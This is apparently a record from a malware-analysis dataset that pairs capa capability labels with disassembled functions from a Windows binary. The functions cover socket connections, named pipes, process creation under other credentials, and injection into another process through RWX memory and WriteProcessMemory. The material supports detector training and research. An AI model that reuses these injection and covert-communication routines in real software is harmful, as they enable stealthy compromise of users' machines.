joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000ee3c
Capabilities:
Check http status code

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x130
xor ebx, ebx
lea r9, [rax + 0x10]
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x13]
mov dword [rax + 0x10], 0x100
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x18000ee7f
lea rcx, [rsp + 0x30]
call fcn.18001c034
cmp eax, 0xc8
sete bl
mov eax, ebx
add rsp, 0x130
pop rbx
ret

Function at 0x18000ef80
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1c8
cmp dword [0x180046be0], 1
je 0x18000f016
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x18000f01e
mov ecx, reloc.WS2_32.dll_sendto
mov dword [0x180046be0], 1
call fcn.180019178
mov ecx, reloc.WS2_32.dll_send
mov dword [0x180046be4], eax
call fcn.180019178
mov ecx, 0x3d
mov dword [0x180046be8], eax
call fcn.1800191cc
mov ecx, 0x3e
mov qword [0x180051b08], rax
call fcn.1800191cc
mov ecx, 0x3f
mov qword [0x180051b00], rax
call fcn.1800191cc
mov ecx, 0x42
mov qword [0x180051af8], rax
call fcn.1800191cc
mov qword [0x180051af0], rax
add rsp, 0x1c8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.18001b5f4
int3

Function at 0x18000f0ac
Capabilities:
Set current directory

Disassembly:
cmp edx, 0x3ff
jg 0x18000f0e7
push rbx
sub rsp, 0x420
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8, rbx
call fcn.18001bed0
lea rcx, [rsp + 0x20]
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
add rsp, 0x420
pop rbx
ret

Function at 0x18000f370
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x820
mov rbx, rcx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x20], 0
call fcn.18001ae30
lea rdx, [rsp + 0x20]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x18000f3b6
lea rcx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_send
mov edx, eax
call rbx
add rsp, 0x820
pop rbx
ret
Function at 0x18000f664
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov ebx, edx
mov rdi, rcx
or rsi, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
lea ebp, [rax + 0xea60]
call fcn.180014688
lea rcx, [rsp + 0x20]
call fcn.1800147e4
lea rcx, [rsp + 0x20]
mov r14, rax
call fcn.180014698
lea rcx, [rsp + 0x20]
mov r15d, eax
call fcn.1800145ec
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.1800146cc
mov edi, eax
call fcn.18000ef80
jmp 0x18000f6fa
mov edx, r15d
mov rcx, r14
call fcn.18000fb14
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000f73a
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebp
jb 0x18000f6db
mov ecx, 0x46
call fcn.18000e534
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call sub.WS2_32.dll_closesocket
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call sub.WS2_32.dll_send
jmp 0x18000f70e
Function at 0x18000f750
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov ebx, edx
mov rdi, rcx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 0x51]
mov r8d, ebx
mov rdx, rdi
lea r14d, [rax + 0xea60]
call fcn.180014688
lea rdx, [rbp - 0x39]
lea rcx, [rbp - 0x51]
mov r8d, 0x80
call fcn.18001476c
lea rcx, [rbp - 0x51]
call fcn.1800145ec
lea rcx, [rbp - 0x51]
mov rdi, rax
call fcn.1800146cc
xor ebx, ebx
mov dword [rbp + 0x77], eax
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x39]
call fcn.180012d84
test eax, eax
jne 0x18000f80f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x18000f7f3
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, r14d
jae 0x18000f7f3
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x18000f7ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp - 0x39]
mov ecx, gethostbyname
mov r8d, eax
call fcn.18000e554
jmp 0x18000f892
mov rcx, qword [rbp - 0x59]
and qword [rsp + 0x20], rsi
lea r9, [rbp + 0x7f]
lea rdx, [rbp + 0x77]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rbp + 0x77]
test eax, eax
je 0x18000f869
mov ebx, 0x2000
mov rcx, qword [rbp - 0x59]
sub eax, esi
mov edx, esi
cmp eax, ebx
lea r9, [rbp + 0x7f]
cmova eax, ebx
and qword [rsp + 0x20], 0
add rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000f869
add esi, dword [rbp + 0x7f]
mov eax, dword [rbp + 0x77]
cmp esi, eax
jb 0x18000f838
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x18000f8ac
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, rcx
mov ecx, 0x400
mov rbx, r8
mov esi, edx
call fcn.18001ab88
mov rdi, rax
test rax, rax
je 0x18000f975
lea rcx, [rsp + 0x20]
mov r8d, esi
mov rdx, rbp
call fcn.180014688
lea rcx, [rsp + 0x20]
mov r8d, 0x400
mov rdx, rdi
call fcn.18001476c
mov rcx, rdi
test eax, eax
jne 0x18000f90f
call fcn.18001ab48
jmp 0x18000f975
mov rdx, rbx
call fcn.18001c240
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x18000f95b
lea rcx, [rsp + 0x20]
call fcn.1800146cc
lea rcx, [rsp + 0x20]
movsxd rbx, eax
call fcn.1800145ec
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.18001c3dc
mov rcx, rsi
call fcn.18001c100
mov rcx, rdi
jmp 0x18000f908
mov rcx, rdi
call fcn.18001ab48
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 8
mov edx, eax
call fcn.18000e468
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x18000f98c
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x19]
xor edx, edx
mov r8d, esi
call fcn.18001ae30
xor eax, eax
mov dword [rbp - 0x19], esi
lea r8, [rbp - 0x59]
lea rdx, [rbp + 0x7f]
lea rcx, [rbp - 0x61]
xor esi, esi
mov r9d, 0x100000
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x71], rax
mov qword [rbp - 0x69], rax
mov dword [rbp - 0x59], 0x18
mov qword [rbp - 0x51], rsi
mov dword [rbp - 0x49], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rbp + 0x7f]
mov dword [rbp + 0x23], 0x101
mov qword [rbp + 0x3f], rax
mov qword [rbp + 0x47], rax
mov word [rbp + 0x27], si
mov qword [rbp + 0x37], rsi
call fcn.180015be4
lea r9, [rbp - 0x79]
lea r8, [rbp - 0x19]
mov edx, ebx
mov rcx, rdi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.1800159d4
test eax, eax
je 0x18000fa7a
mov rcx, qword [rbp - 0x79]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rbp + 0x7f]
mov rdx, qword [rbp - 0x61]
movups xmm0, xmmword [rbp - 0x79]
movsd xmm1, qword [rbp - 0x69]
lea rcx, [rbp - 0x39]
movaps xmmword [rbp - 0x39], xmm0
movsd qword [rbp - 0x29], xmm1
call fcn.180013198
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x18000fb14
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
xor r8d, r8d
mov esi, edx
mov rdi, rcx
lea r14d, [r8 + 2]
lea edx, [r8 + 1]
mov ecx, r14d
call sub.WS2_32.dll_socket
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x18000fb56
mov rax, rbp
jmp 0x18000fbb0
mov rcx, rdi
call sub.WS2_32.dll_gethostbyname
test rax, rax
je 0x18000fb51
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.18001b610
movzx ecx, si
mov word [rsp + 0x20], r14w
call sub.WS2_32.dll_htons
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
mov word [rsp + 0x22], ax
call sub.WS2_32.dll_connect
test eax, eax
je 0x18000fbad
mov rcx, rbx
call sub.WS2_32.dll_closesocket
jmp 0x18000fb51
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x18000fc80
Capabilities:
Create pipe

Disassembly:
cmp edx, 0x100
jge 0x18000fd19
push rbx
sub rsp, 0x140
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x40]
mov r8, rbx
call fcn.18001b610
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
or rax, 0xffffffffffffffff
lea edx, [rax + 4]
lea r9d, [rax + 3]
lea r8d, [rax + 5]
lea rcx, [rsp + 0x40]
mov byte [rsp + rbx + 0x40], 0
mov qword [0x180045210], rax
mov qword [0x180045208], rax
mov qword [0x180045218], rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x180045208], rax
test rax, rax
je 0x18000fd11
lea rcx, [0x18000fe00]
xor edx, edx
call fcn.180019d18
mov qword [0x180045218], rax
add rsp, 0x140
pop rbx
ret

Function at 0x1800102c0
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
xor ecx, ecx
xor edx, edx
cmp dword [rbx + 0x28], ecx
je 0x1800102d7
mov rcx, qword [rbx]
jmp 0x1800102da
mov rdx, qword [rbx]
mov r10, qword [0x18004d390]
test r10, r10
je 0x180010359
cmp dword [rbx + 0x24], 0
jne 0x180010359
mov rax, qword [rbx + 0x18]
mov r8, rdx
mov rdx, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rbx + 0x10]
xor r9d, r9d
mov qword [rsp + 0x48], rax
and qword [rsp + 0x40], 0
and qword [rsp + 0x38], 0
mov eax, dword [rbx + 0x20]
mov rcx, r10
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 1
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x1800103ac
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x18001034c
cmp qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW], 0
jne 0x1800103ac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x29
jmp 0x1800103a1
mov rax, qword [rbx + 0x18]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x40], rax
and qword [rsp + 0x38], 0
mov eax, dword [rbx + 0x20]
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1800103ac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, gethostbyname
mov rdx, qword [rbx]
mov r8d, eax
call fcn.18000e554
add rsp, 0x60
pop rbx
ret

Function at 0x180010568
Capabilities:
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
test byte [rcx + 0x20], 4
mov rbx, rcx
jne 0x1800105d5
mov rcx, qword [rcx]
lea rdx, [rsp + 0x20]
call fcn.18000c71c
test eax, eax
je 0x1800105d5
mov rax, qword [rsp + 0x20]
or dword [rbx + 0x20], 4
mov rcx, rbx
mov qword [rbx], rax
call fcn.1800102c0
mov rcx, qword [rbx + 0x18]
lea rdx, [rsp + 0x20]
mov edi, eax
call fcn.1800103b4
mov rcx, qword [rbx + 0x18]
test eax, eax
jne 0x1800105c7
mov rcx, qword [rcx]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x1800105dd
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, edi
jmp 0x1800105dd
mov rcx, rbx
call fcn.1800102c0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1800105e8
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xf0
mov r13, rcx
xor edi, edi
mov ecx, 0xa000
mov r15, r9
mov rbx, r8
mov r12, rdx
mov esi, edi
call fcn.180014570
mov edx, 0x4000
mov rcx, rax
mov rbp, rax
call fcn.1800146d0
mov edi, 0x400
mov rcx, rbp
mov edx, edi
mov qword [rsp + 0x68], rax
call fcn.1800146d0
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x60], rax
call fcn.1800146d0
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x70], rax
call fcn.1800146d0
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x78], rax
call fcn.1800146d0
lea r14d, [rsi + 0x68]
lea rcx, [rsp + 0x80]
mov r8d, r14d
xor edx, edx
mov rdi, rax
call fcn.18001ae30
xor eax, eax
mov dword [rsp + 0x80], r14d
mov r14, qword [rsp + 0x148]
lea rcx, [rsp + 0x80]
mov qword [r14], rax
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rdx, qword [rsp + 0x68]
xor eax, eax
mov r8d, 0x4000
mov rcx, r15
mov dword [rsp + 0xbc], 0x101
mov word [rsp + 0xc0], ax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x90], rax
call fcn.18000fa94
mov rdx, qword [rsp + 0x70]
mov r8d, 0x400
mov rcx, r12
call fcn.18000fa94
mov rdx, qword [rsp + 0x78]
mov r8d, 0x400
mov rcx, rbx
call fcn.18000fa94
mov rdx, qword [rsp + 0x60]
mov ebx, 0x400
mov r8d, ebx
mov rcx, r13
call fcn.18000fa94
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp eax, ebx
jae 0x180010755
mov rdx, rdi
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov rsi, rdi
mov eax, dword [rsp + 0x140]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x50], r14
xor edi, edi
or eax, 0x8000400
lea rcx, [rsp + 0x80]
lea ebx, [rdi + 1]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov r9d, ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x1800107e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r9, [0x1800327c4]
lea rdx, str._s__s__s_s:__X
mov dword [rsp + 0x30], eax
lea ecx, [rdi + 0x35]
mov r8, r15
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r13
call fcn.18000e41c
mov ebx, edi
mov rcx, rbp
call fcn.180014664
lea r11, [rsp + 0xf0]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180010b20
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx + 4], 0
mov rdi, rdx
mov rbx, rcx
ja 0x180010b12
mov ecx, dword [rcx]
call sub.WS2_32.dll_htonl
mov edx, 4
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 5]
mov dword [rsp + 0x30], eax
call rdi
mov rcx, qword [rbx + 8]
call fcn.18001c100
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
mov rbp, rdx
cmp qword [0x180046c00], rsi
mov rbx, rcx
jne 0x180010b5e
mov ecx, 0x80004
call fcn.18001ab88
mov qword [0x180046c00], rax
mov ecx, dword [rbx]
call sub.WS2_32.dll_htonl
mov rcx, qword [0x180046c00]
mov dword [rcx], eax
mov edi, dword [rbx + 4]
cmp edi, r14d
cmova edi, r14d
test edi, edi
je 0x180010bb0
mov rax, qword [0x180046c00]
mov r9, qword [rbx + 8]
mov ecx, esi
add rax, 4
mov r8d, edi
mov edx, 1
add rcx, rax
call fcn.18001c7d0
test eax, eax
je 0x180010bac
sub dword [rbx + 4], eax
add esi, eax
sub edi, eax
jne 0x180010b7c
jmp 0x180010bb0
and dword [rbx + 4], 0
mov rcx, qword [0x180046c00]
lea edx, [rsi + 4]
mov r8d, 8
call rbp
mov rdx, rbp
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp 0x180010ad8

Function at 0x180010be8
Capabilities:
Copy file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180014570
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.1800146d0
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.1800146d0
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.180014688
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.18001476c
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.18001476c
xor r8d, r8d
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x180010c8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_listen
mov edx, eax
call fcn.18000e468
mov rcx, r14
call fcn.180014664
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180010d14
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.180014688
lea rcx, [rsp + 0x20]
mov edx, 0x80
call fcn.18000d47c
lea rcx, [rsp + 0x38]
call fcn.180014698
lea rcx, [rsp + 0x20]
mov edx, eax
call fcn.18000d4ac
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea rdx, [0x1800327dc]
lea rcx, [rsp + 0x20]
mov r8d, eax
call fcn.18000d4dc
lea rcx, [rsp + 0x20]
call fcn.1800146cc
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d548
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000d458
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x180011070
Capabilities:
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180014570
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.1800146d0
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.1800146d0
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.180014688
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.18001476c
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.18001476c
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x180011113
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_ntohl
mov edx, eax
call fcn.18000e468
mov rcx, r14
call fcn.180014664
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800111b0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ebx, eax
test eax, eax
jne 0x1800111e2
xor eax, eax
jmp 0x180011204
inc eax
cmp eax, edi
jae 0x1800111de
mov r8, rdi
xor edx, edx
mov rcx, rbp
call fcn.18001ae30
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x18001121c
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret
Function at 0x1800116b8
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r15
push rbp
lea rbp, [rax - 0x18]
sub rsp, 0x110
mov ecx, dword [rbp + 0x70]
mov rsi, r9
mov r14d, r8d
mov edi, edx
call fcn.18001a388
mov r15d, 0x68
lea rcx, [rbp - 0x60]
xor edx, edx
mov r8d, r15d
call fcn.18001ae30
xor eax, eax
mov dword [rbp - 0x60], r15d
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
xor r15d, r15d
mov r9d, 0x100000
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x68], 0x18
mov qword [rsp + 0x70], r15
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x60]
mov edx, dword [rbp + 0x70]
mov ecx, dword [rbp + 0x68]
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x60]
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r15w
mov qword [rbp - 0x10], r15
call fcn.1800194b8
test eax, eax
je 0x1800117fa
lea ecx, [r15 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x50]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 0x40]
lea rcx, [rsp + 0x40]
mov r9, rsi
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], eax
call fcn.180011cd8
test edi, edi
je 0x1800117cf
mov rcx, qword [rsp + 0x58]
mov edx, edi
call fcn.180012eb4
movups xmm0, xmmword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x50]
mov r9, qword [rbp + 0x58]
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movsd qword [rbp - 0x70], xmm1
call fcn.180012f28
mov ecx, dword [rbp + 0x70]
call fcn.18001a3b8
lea r11, [rsp + 0x110]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180011f34
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
lea rax, [fcn.180011f34]
mov rbp, rcx
lea r15, [0x180011ee8]
sub eax, r15d
xor r12d, r12d
mov rsi, r8
lea rcx, [rax + 0x20]
mov qword [rsp + 0x70], r12
lea edi, [rax + 0x20]
mov ebx, eax
call fcn.18001ab88
mov rcx, qword [rsi]
mov qword [rax], rcx
mov rcx, qword [rsi + 8]
mov r8d, ebx
mov qword [rax + 8], rcx
mov rcx, qword [rsi + 0x10]
mov rdx, r15
mov qword [rax + 0x10], rcx
mov rcx, qword [rsi + 0x18]
mov r14, rax
mov qword [rax + 0x18], rcx
lea rcx, [rax + 0x20]
call fcn.18001b610
mov r9d, 0x3000
mov r8d, edi
xor edx, edx
mov rcx, rbp
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x180011ff4
lea rax, [rsp + 0x70]
mov r9d, edi
mov r8, r14
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180011ff4
cmp qword [rsp + 0x70], rdi
cmovne rbx, r12
mov rcx, r14
call fcn.18001ab48
mov rbp, qword [rsp + 0x68]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret